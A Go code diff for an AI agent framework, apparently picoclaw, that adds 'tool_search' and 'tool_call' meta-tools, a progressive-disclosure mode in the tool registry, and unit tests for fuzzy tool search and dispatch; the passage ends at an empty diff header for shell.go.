diff --git a/pkg/tools/call.go b/pkg/tools/call.go
new file mode 100644
index 000000000..0054c541a
--- /dev/null
+++ b/pkg/tools/call.go
@@ -0,0 +1,82 @@
+package tools
+
+import (
+	"context"
+	"encoding/json"
+	"fmt"
+)
+
+// ToolCallTool is a meta-tool that dispatches to any registered tool by name.
+// This enables progressive disclosure: instead of exposing all tools to the LLM,
+// only tool_search and tool_call are exposed. The agent discovers tools via
+// tool_search, then invokes them via tool_call.
+type ToolCallTool struct {
+	registry *ToolRegistry
+	channel  string
+	chatID   string
+}
+
+var _ ContextualTool = (*ToolCallTool)(nil)
+
+// NewToolCallTool creates a meta-tool that dispatches to registered tools.
+func NewToolCallTool(registry *ToolRegistry) *ToolCallTool {
+	return &ToolCallTool{registry: registry}
+}
+
+func (t *ToolCallTool) Name() string { return "tool_call" }
+
+func (t *ToolCallTool) Description() string {
+	return "Execute any registered tool by name. Use tool_search first to discover available tools and their parameters, then call them here."
+}
+
+func (t *ToolCallTool) Parameters() map[string]interface{} {
+	return map[string]interface{}{
+		"type": "object",
+		"properties": map[string]interface{}{
+			"tool_name": map[string]interface{}{
+				"type":        "string",
+				"description": "Name of the tool to execute (from tool_search results).",
+			},
+			"arguments": map[string]interface{}{
+				"type":        "object",
+				"description": "Arguments to pass to the tool, as a JSON object matching the tool's parameter schema.",
+			},
+		},
+		"required": []string{"tool_name"},
+	}
+}
+
+func (t *ToolCallTool) SetContext(channel, chatID string) {
+	t.channel = channel
+	t.chatID = chatID
+}
+
+func (t *ToolCallTool) Execute(ctx context.Context, args map[string]interface{}) *ToolResult {
+	toolName, _ := args["tool_name"].(string)
+	if toolName == "" {
+		return ErrorResult("tool_name is required")
+	}
+
+	// Prevent recursive calls to meta-tools
+	if toolName == "tool_call" || toolName == "tool_search" {
+		return ErrorResult(fmt.Sprintf("cannot recursively call meta-tool %q", toolName))
+	}
+
+	// Extract arguments — handle both direct object and JSON string
+	var toolArgs map[string]interface{}
+	switch v := args["arguments"].(type) {
+	case map[string]interface{}:
+		toolArgs = v
+	case string:
+		if err := json.Unmarshal([]byte(v), &toolArgs); err != nil {
+			return ErrorResult(fmt.Sprintf("invalid arguments JSON: %v", err))
+		}
+	case nil:
+		toolArgs = map[string]interface{}{}
+	default:
+		return ErrorResult(fmt.Sprintf("arguments must be a JSON object, got %T", v))
+	}
+
+	// Dispatch to the target tool via the registry
+	return t.registry.ExecuteWithContext(ctx, toolName, toolArgs, t.channel, t.chatID, nil)
+}
diff --git a/pkg/tools/call_test.go b/pkg/tools/call_test.go
new file mode 100644
index 000000000..090653f44
--- /dev/null
+++ b/pkg/tools/call_test.go
@@ -0,0 +1,205 @@
+package tools
+
+import (
+	"context"
+	"testing"
+)
+
+func TestToolCallTool_Name(t *testing.T) {
+	r := NewToolRegistry()
+	tc := NewToolCallTool(r)
+	if tc.Name() != "tool_call" {
+		t.Errorf("expected tool_call, got %s", tc.Name())
+	}
+}
+
+func TestToolCallTool_Description(t *testing.T) {
+	r := NewToolRegistry()
+	tc := NewToolCallTool(r)
+	if tc.Description() == "" {
+		t.Error("expected non-empty description")
+	}
+}
+
+func TestToolCallTool_Parameters(t *testing.T) {
+	r := NewToolRegistry()
+	tc := NewToolCallTool(r)
+	params := tc.Parameters()
+
+	props, ok := params["properties"].(map[string]interface{})
+	if !ok {
+		t.Fatal("expected properties map")
+	}
+	if _, ok := props["tool_name"]; !ok {
+		t.Error("expected tool_name property")
+	}
+	if _, ok := props["arguments"]; !ok {
+		t.Error("expected arguments property")
+	}
+}
+
+func TestToolCallTool_MissingToolName(t *testing.T) {
+	r := NewToolRegistry()
+	tc := NewToolCallTool(r)
+	result := tc.Execute(context.Background(), map[string]interface{}{})
+
+	if !result.IsError {
+		t.Error("expected error for missing tool_name")
+	}
+}
+
+func TestToolCallTool_DispatchesToTool(t *testing.T) {
+	r := NewToolRegistry()
+	r.Register(&stubTool{name: "read_file", desc: "Read a file"})
+	tc := NewToolCallTool(r)
+
+	result := tc.Execute(context.Background(), map[string]interface{}{
+		"tool_name": "read_file",
+		"arguments": map[string]interface{}{"path": "/tmp/test.txt"},
+	})
+
+	if result.IsError {
+		t.Errorf("unexpected error: %s", result.ForLLM)
+	}
+	if result.ForLLM != "executed read_file" {
+		t.Errorf("expected 'executed read_file', got %s", result.ForLLM)
+	}
+}
+
+func TestToolCallTool_ToolNotFound(t *testing.T) {
+	r := NewToolRegistry()
+	tc := NewToolCallTool(r)
+
+	result := tc.Execute(context.Background(), map[string]interface{}{
+		"tool_name": "nonexistent",
+	})
+
+	if !result.IsError {
+		t.Error("expected error for nonexistent tool")
+	}
+}
+
+func TestToolCallTool_PreventRecursion_ToolCall(t *testing.T) {
+	r := NewToolRegistry()
+	r.RegisterMetaTools()
+
+	tc, _ := r.Get("tool_call")
+	result := tc.Execute(context.Background(), map[string]interface{}{
+		"tool_name": "tool_call",
+	})
+
+	if !result.IsError {
+		t.Error("expected error for recursive tool_call")
+	}
+}
+
+func TestToolCallTool_PreventRecursion_ToolSearch(t *testing.T) {
+	r := NewToolRegistry()
+	r.RegisterMetaTools()
+
+	tc, _ := r.Get("tool_call")
+	result := tc.Execute(context.Background(), map[string]interface{}{
+		"tool_name": "tool_search",
+	})
+
+	if !result.IsError {
+		t.Error("expected error for recursive tool_search")
+	}
+}
+
+func TestToolCallTool_JSONStringArguments(t *testing.T) {
+	r := NewToolRegistry()
+	r.Register(&echoTool{})
+	tc := NewToolCallTool(r)
+
+	result := tc.Execute(context.Background(), map[string]interface{}{
+		"tool_name": "echo",
+		"arguments": `{"msg":"hello"}`,
+	})
+
+	if result.IsError {
+		t.Errorf("unexpected error: %s", result.ForLLM)
+	}
+	if result.ForLLM != "hello" {
+		t.Errorf("expected 'hello', got %s", result.ForLLM)
+	}
+}
+
+func TestToolCallTool_NilArguments(t *testing.T) {
+	r := NewToolRegistry()
+	r.Register(&stubTool{name: "no_args", desc: "Tool that needs no args"})
+	tc := NewToolCallTool(r)
+
+	result := tc.Execute(context.Background(), map[string]interface{}{
+		"tool_name": "no_args",
+	})
+
+	if result.IsError {
+		t.Errorf("unexpected error: %s", result.ForLLM)
+	}
+}
+
+func TestToolCallTool_InvalidJSONArguments(t *testing.T) {
+	r := NewToolRegistry()
+	tc := NewToolCallTool(r)
+
+	result := tc.Execute(context.Background(), map[string]interface{}{
+		"tool_name": "anything",
+		"arguments": "not-json",
+	})
+
+	if !result.IsError {
+		t.Error("expected error for invalid JSON arguments")
+	}
+}
+
+func TestToolCallTool_ContextPropagation(t *testing.T) {
+	r := NewToolRegistry()
+	ct := &contextCaptureTool{}
+	r.Register(ct)
+
+	tc := NewToolCallTool(r)
+	tc.SetContext("test-channel", "test-chat")
+
+	tc.Execute(context.Background(), map[string]interface{}{
+		"tool_name": "capture",
+		"arguments": map[string]interface{}{},
+	})
+
+	// ToolCallTool dispatches via registry.ExecuteWithContext, which propagates channel/chatID
+	if ct.lastChannel != "test-channel" {
+		t.Errorf("expected channel propagation, got %s", ct.lastChannel)
+	}
+}
+
+// --- test helpers ---
+
+type echoTool struct{}
+
+func (e *echoTool) Name() string        { return "echo" }
+func (e *echoTool) Description() string { return "Echo a message" }
+func (e *echoTool) Parameters() map[string]interface{} {
+	return map[string]interface{}{}
+}
+func (e *echoTool) Execute(_ context.Context, args map[string]interface{}) *ToolResult {
+	msg, _ := args["msg"].(string)
+	return &ToolResult{ForLLM: msg}
+}
+
+type contextCaptureTool struct {
+	lastChannel string
+	lastChatID  string
+}
+
+func (c *contextCaptureTool) Name() string        { return "capture" }
+func (c *contextCaptureTool) Description() string { return "Capture context" }
+func (c *contextCaptureTool) Parameters() map[string]interface{} {
+	return map[string]interface{}{}
+}
+func (c *contextCaptureTool) SetContext(channel, chatID string) {
+	c.lastChannel = channel
+	c.lastChatID = chatID
+}
+func (c *contextCaptureTool) Execute(_ context.Context, _ map[string]interface{}) *ToolResult {
+	return &ToolResult{ForLLM: "captured"}
+}
diff --git a/pkg/tools/registry.go b/pkg/tools/registry.go
index c8cf92863..fed8186fa 100644
--- a/pkg/tools/registry.go
+++ b/pkg/tools/registry.go
@@ -7,20 +7,78 @@ import (
 	"time"
 
 	"github.com/sipeed/picoclaw/pkg/logger"
-	"github.com/sipeed/picoclaw/pkg/providers"
 )
 
 type ToolRegistry struct {
-	tools map[string]Tool
-	mu    sync.RWMutex
+	tools                 map[string]Tool
+	mu                    sync.RWMutex
+	progressiveDisclosure bool
+	// gatewayTools are always visible even in progressive mode
+	gatewayTools map[string]bool
 }
 
 func NewToolRegistry() *ToolRegistry {
 	return &ToolRegistry{
-		tools: make(map[string]Tool),
+		tools:        make(map[string]Tool),
+		gatewayTools: make(map[string]bool),
 	}
 }
 
+// SetProgressiveDisclosure enables or disables progressive disclosure mode.
+// When enabled, GetVisibleDefinitions returns only gateway tools (tool_search,
+// tool_call, and any explicitly marked tools). The agent discovers others via tool_search.
+func (r *ToolRegistry) SetProgressiveDisclosure(enabled bool) {
+	r.mu.Lock()
+	defer r.mu.Unlock()
+	r.progressiveDisclosure = enabled
+}
+
+// MarkGateway marks a tool name as always visible in progressive disclosure mode.
+func (r *ToolRegistry) MarkGateway(name string) {
+	r.mu.Lock()
+	defer r.mu.Unlock()
+	r.gatewayTools[name] = true
+}
+
+// RegisterMetaTools creates and registers tool_search and tool_call, then marks them
+// as gateway tools. Call this once after creating the registry.
+func (r *ToolRegistry) RegisterMetaTools() {
+	search := NewToolSearchTool(r)
+	call := NewToolCallTool(r)
+	r.Register(search)
+	r.Register(call)
+	r.MarkGateway("tool_search")
+	r.MarkGateway("tool_call")
+}
+
+// GetVisibleDefinitions returns tool definitions visible to the LLM.
+// In progressive disclosure mode, only gateway tools are returned.
+// In full mode, all tools are returned (same as GetDefinitions).
+func (r *ToolRegistry) GetVisibleDefinitions() []map[string]interface{} {
+	r.mu.RLock()
+	defer r.mu.RUnlock()
+
+	if !r.progressiveDisclosure {
+		return r.getDefinitionsLocked()
+	}
+
+	definitions := make([]map[string]interface{}, 0)
+	for _, tool := range r.tools {
+		if r.gatewayTools[tool.Name()] {
+			definitions = append(definitions, ToolToSchema(tool))
+		}
+	}
+	return definitions
+}
+
+func (r *ToolRegistry) getDefinitionsLocked() []map[string]interface{} {
+	definitions := make([]map[string]interface{}, 0, len(r.tools))
+	for _, tool := range r.tools {
+		definitions = append(definitions, ToolToSchema(tool))
+	}
+	return definitions
+}
+
 func (r *ToolRegistry) Register(tool Tool) {
 	r.mu.Lock()
 	defer r.mu.Unlock()
@@ -112,38 +170,6 @@ func (r *ToolRegistry) GetDefinitions() []map[string]interface{} {
 	return definitions
 }
 
-// ToProviderDefs converts tool definitions to provider-compatible format.
-// This is the format expected by LLM provider APIs.
-func (r *ToolRegistry) ToProviderDefs() []providers.ToolDefinition {
-	r.mu.RLock()
-	defer r.mu.RUnlock()
-
-	definitions := make([]providers.ToolDefinition, 0, len(r.tools))
-	for _, tool := range r.tools {
-		schema := ToolToSchema(tool)
-
-		// Safely extract nested values with type checks
-		fn, ok := schema["function"].(map[string]interface{})
-		if !ok {
-			continue
-		}
-
-		name, _ := fn["name"].(string)
-		desc, _ := fn["description"].(string)
-		params, _ := fn["parameters"].(map[string]interface{})
-
-		definitions = append(definitions, providers.ToolDefinition{
-			Type: "function",
-			Function: providers.ToolFunctionDefinition{
-				Name:        name,
-				Description: desc,
-				Parameters:  params,
-			},
-		})
-	}
-	return definitions
-}
-
 // List returns a list of all registered tool names.
 func (r *ToolRegistry) List() []string {
 	r.mu.RLock()
@@ -156,6 +182,30 @@ func (r *ToolRegistry) List() []string {
 	return names
 }
 
+// ListVisible returns tool names visible to the LLM.
+// In progressive disclosure mode, only gateway tools are returned.
+// In full mode, all tools are returned.
+func (r *ToolRegistry) ListVisible() []string {
+	r.mu.RLock()
+	defer r.mu.RUnlock()
+
+	if !r.progressiveDisclosure {
+		names := make([]string, 0, len(r.tools))
+		for name := range r.tools {
+			names = append(names, name)
+		}
+		return names
+	}
+
+	names := make([]string, 0, len(r.gatewayTools))
+	for name := range r.gatewayTools {
+		if _, ok := r.tools[name]; ok {
+			names = append(names, name)
+		}
+	}
+	return names
+}
+
 // Count returns the number of registered tools.
 func (r *ToolRegistry) Count() int {
 	r.mu.RLock()
diff --git a/pkg/tools/registry_progressive_test.go b/pkg/tools/registry_progressive_test.go
new file mode 100644
index 000000000..56babbabe
--- /dev/null
+++ b/pkg/tools/registry_progressive_test.go
@@ -0,0 +1,168 @@
+package tools
+
+import (
+	"sort"
+	"testing"
+)
+
+func TestProgressiveDisclosure_Disabled_AllToolsVisible(t *testing.T) {
+	r := NewToolRegistry()
+	r.Register(&stubTool{name: "read_file", desc: "Read"})
+	r.Register(&stubTool{name: "write_file", desc: "Write"})
+	r.RegisterMetaTools()
+
+	visible := r.ListVisible()
+	// Should include all 4: read_file, write_file, tool_search, tool_call
+	if len(visible) != 4 {
+		t.Errorf("expected 4 visible tools, got %d: %v", len(visible), visible)
+	}
+}
+
+func TestProgressiveDisclosure_Enabled_OnlyGateway(t *testing.T) {
+	r := NewToolRegistry()
+	r.Register(&stubTool{name: "read_file", desc: "Read"})
+	r.Register(&stubTool{name: "write_file", desc: "Write"})
+	r.Register(&stubTool{name: "web_search", desc: "Search"})
+	r.RegisterMetaTools()
+	r.SetProgressiveDisclosure(true)
+
+	visible := r.ListVisible()
+	sort.Strings(visible)
+
+	// Only gateway tools
+	expected := []string{"tool_call", "tool_search"}
+	if len(visible) != len(expected) {
+		t.Fatalf("expected %v, got %v", expected, visible)
+	}
+	for i, name := range expected {
+		if visible[i] != name {
+			t.Errorf("expected %s at index %d, got %s", name, i, visible[i])
+		}
+	}
+}
+
+func TestProgressiveDisclosure_MarkGateway(t *testing.T) {
+	r := NewToolRegistry()
+	r.Register(&stubTool{name: "read_file", desc: "Read"})
+	r.Register(&stubTool{name: "memory", desc: "Memory tool"})
+	r.RegisterMetaTools()
+	r.MarkGateway("memory")
+	r.SetProgressiveDisclosure(true)
+
+	visible := r.ListVisible()
+	sort.Strings(visible)
+
+	expected := []string{"memory", "tool_call", "tool_search"}
+	if len(visible) != len(expected) {
+		t.Fatalf("expected %v, got %v", expected, visible)
+	}
+	for i, name := range expected {
+		if visible[i] != name {
+			t.Errorf("expected %s at index %d, got %s", name, i, visible[i])
+		}
+	}
+}
+
+func TestProgressiveDisclosure_GetVisibleDefinitions(t *testing.T) {
+	r := NewToolRegistry()
+	r.Register(&stubTool{name: "read_file", desc: "Read"})
+	r.Register(&stubTool{name: "write_file", desc: "Write"})
+	r.RegisterMetaTools()
+
+	// Full mode
+	allDefs := r.GetVisibleDefinitions()
+	if len(allDefs) != 4 {
+		t.Errorf("full mode: expected 4 definitions, got %d", len(allDefs))
+	}
+
+	// Progressive mode
+	r.SetProgressiveDisclosure(true)
+	gatewayDefs := r.GetVisibleDefinitions()
+	if len(gatewayDefs) != 2 {
+		t.Errorf("progressive mode: expected 2 definitions, got %d", len(gatewayDefs))
+	}
+}
+
+func TestProgressiveDisclosure_AllToolsStillDispatchable(t *testing.T) {
+	r := NewToolRegistry()
+	r.Register(&stubTool{name: "read_file", desc: "Read"})
+	r.RegisterMetaTools()
+	r.SetProgressiveDisclosure(true)
+
+	// read_file is hidden from LLM but still in registry
+	tool, ok := r.Get("read_file")
+	if !ok {
+		t.Fatal("read_file should still exist in registry")
+	}
+	if tool.Name() != "read_file" {
+		t.Errorf("expected read_file, got %s", tool.Name())
+	}
+
+	// tool_call should still dispatch to it
+	tc, _ := r.Get("tool_call")
+	result := tc.Execute(nil, map[string]interface{}{
+		"tool_name": "read_file",
+		"arguments": map[string]interface{}{},
+	})
+	if result.IsError {
+		t.Errorf("tool_call should dispatch to hidden tools: %s", result.ForLLM)
+	}
+}
+
+func TestProgressiveDisclosure_SearchFindsHiddenTools(t *testing.T) {
+	r := NewToolRegistry()
+	r.Register(&stubTool{name: "read_file", desc: "Read a file from filesystem"})
+	r.Register(&stubTool{name: "write_file", desc: "Write to a file"})
+	r.RegisterMetaTools()
+	r.SetProgressiveDisclosure(true)
+
+	// Even though read_file is hidden from Fantasy, tool_search should find it
+	ts, _ := r.Get("tool_search")
+	result := ts.Execute(nil, map[string]interface{}{"query": "read"})
+
+	if result.IsError {
+		t.Fatalf("unexpected error: %s", result.ForLLM)
+	}
+
+	// Result should contain read_file
+	if result.ForLLM == "" {
+		t.Fatal("expected non-empty result")
+	}
+}
+
+func TestProgressiveDisclosure_ToggleRuntime(t *testing.T) {
+	r := NewToolRegistry()
+	r.Register(&stubTool{name: "alpha", desc: "A tool"})
+	r.RegisterMetaTools()
+
+	// Start in full mode
+	if len(r.ListVisible()) != 3 {
+		t.Fatal("expected 3 visible in full mode")
+	}
+
+	// Switch to progressive
+	r.SetProgressiveDisclosure(true)
+	if len(r.ListVisible()) != 2 {
+		t.Errorf("expected 2 visible in progressive mode, got %d", len(r.ListVisible()))
+	}
+
+	// Switch back
+	r.SetProgressiveDisclosure(false)
+	if len(r.ListVisible()) != 3 {
+		t.Errorf("expected 3 visible in full mode again, got %d", len(r.ListVisible()))
+	}
+}
+
+func TestProgressiveDisclosure_MarkNonexistentGateway(t *testing.T) {
+	r := NewToolRegistry()
+	r.RegisterMetaTools()
+	r.MarkGateway("nonexistent")
+	r.SetProgressiveDisclosure(true)
+
+	visible := r.ListVisible()
+	for _, name := range visible {
+		if name == "nonexistent" {
+			t.Error("nonexistent tool should not appear in visible list")
+		}
+	}
+}
diff --git a/pkg/tools/search.go b/pkg/tools/search.go
new file mode 100644
index 000000000..1233d05fc
--- /dev/null
+++ b/pkg/tools/search.go
@@ -0,0 +1,166 @@
+package tools
+
+import (
+	"context"
+	"encoding/json"
+	"fmt"
+	"sort"
+	"strings"
+)
+
+// ToolSearchTool implements tool discovery via fuzzy search over the registry.
+// The agent can query for tools by keyword and get back ranked summaries.
+type ToolSearchTool struct {
+	registry *ToolRegistry
+}
+
+// NewToolSearchTool creates a tool that searches the registry.
+func NewToolSearchTool(registry *ToolRegistry) *ToolSearchTool {
+	return &ToolSearchTool{registry: registry}
+}
+
+func (t *ToolSearchTool) Name() string { return "tool_search" }
+
+func (t *ToolSearchTool) Description() string {
+	return "Search for available tools by keyword. Returns tool names, descriptions, and parameter summaries. Use this to discover what tools are available before calling them with tool_call."
+}
+
+func (t *ToolSearchTool) Parameters() map[string]interface{} {
+	return map[string]interface{}{
+		"type": "object",
+		"properties": map[string]interface{}{
+			"query": map[string]interface{}{
+				"type":        "string",
+				"description": "Search query to match against tool names and descriptions.",
+			},
+		},
+		"required": []string{"query"},
+	}
+}
+
+type toolSearchResult struct {
+	Name        string `json:"name"`
+	Description string `json:"description"`
+	Score       int    `json:"score"`
+}
+
+func (t *ToolSearchTool) Execute(_ context.Context, args map[string]interface{}) *ToolResult {
+	query, _ := args["query"].(string)
+	if query == "" {
+		return t.listAll()
+	}
+
+	queryLower := strings.ToLower(query)
+	queryTerms := strings.Fields(queryLower)
+
+	t.registry.mu.RLock()
+	defer t.registry.mu.RUnlock()
+
+	var results []toolSearchResult
+
+	for _, tool := range t.registry.tools {
+		// Skip meta-tools from results
+		if tool.Name() == "tool_search" || tool.Name() == "tool_call" {
+			continue
+		}
+
+		score := fuzzyScore(tool.Name(), tool.Description(), queryTerms)
+		if score > 0 {
+			results = append(results, toolSearchResult{
+				Name:        tool.Name(),
+				Description: tool.Description(),
+				Score:       score,
+			})
+		}
+	}
+
+	// Sort by score descending
+	sort.Slice(results, func(i, j int) bool {
+		return results[i].Score > results[j].Score
+	})
+
+	// Limit to top 10
+	if len(results) > 10 {
+		results = results[:10]
+	}
+
+	if len(results) == 0 {
+		return &ToolResult{ForLLM: fmt.Sprintf("No tools match query: %q. Try a broader search or use tool_search with no query to list all.", query)}
+	}
+
+	b, _ := json.Marshal(results)
+	return &ToolResult{ForLLM: string(b)}
+}
+
+func (t *ToolSearchTool) listAll() *ToolResult {
+	t.registry.mu.RLock()
+	defer t.registry.mu.RUnlock()
+
+	var results []toolSearchResult
+	for _, tool := range t.registry.tools {
+		if tool.Name() == "tool_search" || tool.Name() == "tool_call" {
+			continue
+		}
+		results = append(results, toolSearchResult{
+			Name:        tool.Name(),
+			Description: tool.Description(),
+		})
+	}
+
+	sort.Slice(results, func(i, j int) bool {
+		return results[i].Name < results[j].Name
+	})
+
+	b, _ := json.Marshal(results)
+	return &ToolResult{ForLLM: string(b)}
+}
+
+// fuzzyScore scores how well a tool matches the query terms.
+// Higher score = better match. Returns 0 for no match.
+func fuzzyScore(name, description string, queryTerms []string) int {
+	nameLower := strings.ToLower(name)
+	descLower := strings.ToLower(description)
+	score := 0
+
+	for _, term := range queryTerms {
+		// Exact name match — highest signal
+		if nameLower == term {
+			score += 100
+			continue
+		}
+
+		// Name contains term
+		if strings.Contains(nameLower, term) {
+			score += 50
+			continue
+		}
+
+		// Description contains term
+		if strings.Contains(descLower, term) {
+			score += 20
+			continue
+		}
+
+		// Partial match: any character subsequence in name
+		if subsequenceMatch(nameLower, term) {
+			score += 10
+			continue
+		}
+	}
+
+	return score
+}
+
+// subsequenceMatch checks if needle characters appear in order within haystack.
+func subsequenceMatch(haystack, needle string) bool {
+	hi := 0
+	for ni := 0; ni < len(needle) && hi < len(haystack); hi++ {
+		if haystack[hi] == needle[ni] {
+			ni++
+			if ni == len(needle) {
+				return true
+			}
+		}
+	}
+	return false
+}
diff --git a/pkg/tools/search_test.go b/pkg/tools/search_test.go
new file mode 100644
index 000000000..6a69216d1
--- /dev/null
+++ b/pkg/tools/search_test.go
@@ -0,0 +1,278 @@
+package tools
+
+import (
+	"context"
+	"encoding/json"
+	"testing"
+)
+
+func TestToolSearchTool_Name(t *testing.T) {
+	r := NewToolRegistry()
+	s := NewToolSearchTool(r)
+	if s.Name() != "tool_search" {
+		t.Errorf("expected tool_search, got %s", s.Name())
+	}
+}
+
+func TestToolSearchTool_Description(t *testing.T) {
+	r := NewToolRegistry()
+	s := NewToolSearchTool(r)
+	if s.Description() == "" {
+		t.Error("expected non-empty description")
+	}
+}
+
+func TestToolSearchTool_Parameters(t *testing.T) {
+	r := NewToolRegistry()
+	s := NewToolSearchTool(r)
+	params := s.Parameters()
+	if params["type"] != "object" {
+		t.Error("expected object type parameters")
+	}
+	props, ok := params["properties"].(map[string]interface{})
+	if !ok {
+		t.Fatal("expected properties map")
+	}
+	if _, ok := props["query"]; !ok {
+		t.Error("expected query property")
+	}
+}
+
+func TestToolSearchTool_ListAll(t *testing.T) {
+	r := NewToolRegistry()
+	r.Register(&stubTool{name: "read_file", desc: "Read a file from disk"})
+	r.Register(&stubTool{name: "write_file", desc: "Write content to a file"})
+	r.Register(&stubTool{name: "web_search", desc: "Search the internet"})
+
+	s := NewToolSearchTool(r)
+	result := s.Execute(context.Background(), map[string]interface{}{})
+
+	if result.IsError {
+		t.Fatalf("unexpected error: %s", result.ForLLM)
+	}
+
+	var results []toolSearchResult
+	if err := json.Unmarshal([]byte(result.ForLLM), &results); err != nil {
+		t.Fatalf("failed to unmarshal: %v", err)
+	}
+
+	if len(results) != 3 {
+		t.Errorf("expected 3 results, got %d", len(results))
+	}
+}
+
+func TestToolSearchTool_EmptyQuery_ListsAll(t *testing.T) {
+	r := NewToolRegistry()
+	r.Register(&stubTool{name: "alpha", desc: "First tool"})
+	r.Register(&stubTool{name: "beta", desc: "Second tool"})
+
+	s := NewToolSearchTool(r)
+	result := s.Execute(context.Background(), map[string]interface{}{"query": ""})
+
+	var results []toolSearchResult
+	if err := json.Unmarshal([]byte(result.ForLLM), &results); err != nil {
+		t.Fatalf("failed to unmarshal: %v", err)
+	}
+
+	if len(results) != 2 {
+		t.Errorf("expected 2 results, got %d", len(results))
+	}
+
+	// Should be sorted alphabetically
+	if results[0].Name != "alpha" {
+		t.Errorf("expected alpha first, got %s", results[0].Name)
+	}
+}
+
+func TestToolSearchTool_ExactNameMatch(t *testing.T) {
+	r := NewToolRegistry()
+	r.Register(&stubTool{name: "read_file", desc: "Read a file"})
+	r.Register(&stubTool{name: "write_file", desc: "Write a file"})
+	r.Register(&stubTool{name: "list_dir", desc: "List directory contents"})
+
+	s := NewToolSearchTool(r)
+	result := s.Execute(context.Background(), map[string]interface{}{"query": "read_file"})
+
+	var results []toolSearchResult
+	json.Unmarshal([]byte(result.ForLLM), &results)
+
+	if len(results) == 0 {
+		t.Fatal("expected at least one result")
+	}
+
+	// read_file should be ranked first (exact match)
+	if results[0].Name != "read_file" {
+		t.Errorf("expected read_file first, got %s", results[0].Name)
+	}
+}
+
+func TestToolSearchTool_PartialMatch(t *testing.T) {
+	r := NewToolRegistry()
+	r.Register(&stubTool{name: "read_file", desc: "Read contents of a file from filesystem"})
+	r.Register(&stubTool{name: "write_file", desc: "Write content to a file on filesystem"})
+	r.Register(&stubTool{name: "web_search", desc: "Search the web for information"})
+
+	s := NewToolSearchTool(r)
+	result := s.Execute(context.Background(), map[string]interface{}{"query": "file"})
+
+	var results []toolSearchResult
+	json.Unmarshal([]byte(result.ForLLM), &results)
+
+	// Both file tools should match, web_search should not (unless "file" appears somewhere)
+	if len(results) < 2 {
+		t.Errorf("expected at least 2 results for 'file', got %d", len(results))
+	}
+}
+
+func TestToolSearchTool_DescriptionMatch(t *testing.T) {
+	r := NewToolRegistry()
+	r.Register(&stubTool{name: "alpha", desc: "Search the internet for information"})
+	r.Register(&stubTool{name: "beta", desc: "Read a local file"})
+
+	s := NewToolSearchTool(r)
+	result := s.Execute(context.Background(), map[string]interface{}{"query": "internet"})
+
+	var results []toolSearchResult
+	json.Unmarshal([]byte(result.ForLLM), &results)
+
+	if len(results) != 1 {
+		t.Errorf("expected 1 result, got %d", len(results))
+	}
+	if len(results) > 0 && results[0].Name != "alpha" {
+		t.Errorf("expected alpha, got %s", results[0].Name)
+	}
+}
+
+func TestToolSearchTool_MultiTermQuery(t *testing.T) {
+	r := NewToolRegistry()
+	r.Register(&stubTool{name: "read_file", desc: "Read contents of a file from disk"})
+	r.Register(&stubTool{name: "web_search", desc: "Search the web for information"})
+	r.Register(&stubTool{name: "web_fetch", desc: "Fetch content from a URL"})
+
+	s := NewToolSearchTool(r)
+	result := s.Execute(context.Background(), map[string]interface{}{"query": "web search"})
+
+	var results []toolSearchResult
+	json.Unmarshal([]byte(result.ForLLM), &results)
+
+	if len(results) == 0 {
+		t.Fatal("expected at least one result")
+	}
+
+	// web_search should rank highest (matches both terms in name+desc)
+	if results[0].Name != "web_search" {
+		t.Errorf("expected web_search first, got %s", results[0].Name)
+	}
+}
+
+func TestToolSearchTool_NoMatch(t *testing.T) {
+	r := NewToolRegistry()
+	r.Register(&stubTool{name: "read_file", desc: "Read a file"})
+
+	s := NewToolSearchTool(r)
+	result := s.Execute(context.Background(), map[string]interface{}{"query": "zzzznonexistent"})
+
+	if result.IsError {
+		t.Error("should not be an error, just empty results message")
+	}
+	if result.ForLLM == "" {
+		t.Error("expected a response message")
+	}
+}
+
+func TestToolSearchTool_ExcludesMetaTools(t *testing.T) {
+	r := NewToolRegistry()
+	r.RegisterMetaTools() // registers tool_search + tool_call
+	r.Register(&stubTool{name: "read_file", desc: "Read a file"})
+
+	s, _ := r.Get("tool_search")
+	result := s.Execute(context.Background(), map[string]interface{}{})
+
+	var results []toolSearchResult
+	json.Unmarshal([]byte(result.ForLLM), &results)
+
+	for _, res := range results {
+		if res.Name == "tool_search" || res.Name == "tool_call" {
+			t.Errorf("meta-tool %s should not appear in search results", res.Name)
+		}
+	}
+}
+
+// --- fuzzyScore tests ---
+
+func TestFuzzyScore_ExactMatch(t *testing.T) {
+	score := fuzzyScore("read_file", "Read a file", []string{"read_file"})
+	if score < 100 {
+		t.Errorf("expected score >= 100 for exact match, got %d", score)
+	}
+}
+
+func TestFuzzyScore_ContainsMatch(t *testing.T) {
+	score := fuzzyScore("read_file", "Read a file", []string{"read"})
+	if score < 50 {
+		t.Errorf("expected score >= 50 for name contains, got %d", score)
+	}
+}
+
+func TestFuzzyScore_DescriptionMatch(t *testing.T) {
+	score := fuzzyScore("alpha_tool", "Search the internet", []string{"internet"})
+	if score < 20 {
+		t.Errorf("expected score >= 20 for description match, got %d", score)
+	}
+}
+
+func TestFuzzyScore_NoMatch(t *testing.T) {
+	score := fuzzyScore("read_file", "Read a file", []string{"zzzzz"})
+	if score != 0 {
+		t.Errorf("expected 0 for no match, got %d", score)
+	}
+}
+
+// --- subsequenceMatch tests ---
+
+func TestSubsequenceMatch_True(t *testing.T) {
+	tests := []struct {
+		haystack, needle string
+		expected         bool
+	}{
+		{"read_file", "rf", true},
+		{"read_file", "rfl", true},
+		{"abcdef", "ace", true},
+		{"abc", "abc", true},
+	}
+
+	for _, tc := range tests {
+		if got := subsequenceMatch(tc.haystack, tc.needle); got != tc.expected {
+			t.Errorf("subsequenceMatch(%q, %q) = %v, want %v", tc.haystack, tc.needle, got, tc.expected)
+		}
+	}
+}
+
+func TestSubsequenceMatch_False(t *testing.T) {
+	tests := []struct {
+		haystack, needle string
+	}{
+		{"abc", "abcd"},
+		{"abc", "xyz"},
+		{"ab", "ba"},
+	}
+
+	for _, tc := range tests {
+		if subsequenceMatch(tc.haystack, tc.needle) {
+			t.Errorf("subsequenceMatch(%q, %q) should be false", tc.haystack, tc.needle)
+		}
+	}
+}
+
+// --- stubTool for testing ---
+type stubTool struct {
+	name string
+	desc string
+}
+
+func (s *stubTool) Name() string                       { return s.name }
+func (s *stubTool) Description() string                { return s.desc }
+func (s *stubTool) Parameters() map[string]interface{} { return map[string]interface{}{} }
+func (s *stubTool) Execute(_ context.Context, args map[string]interface{}) *ToolResult {
+	return &ToolResult{ForLLM: "executed " + s.name}
+}
diff --git a/pkg/tools/shell.go b/pkg/tools/shell.go
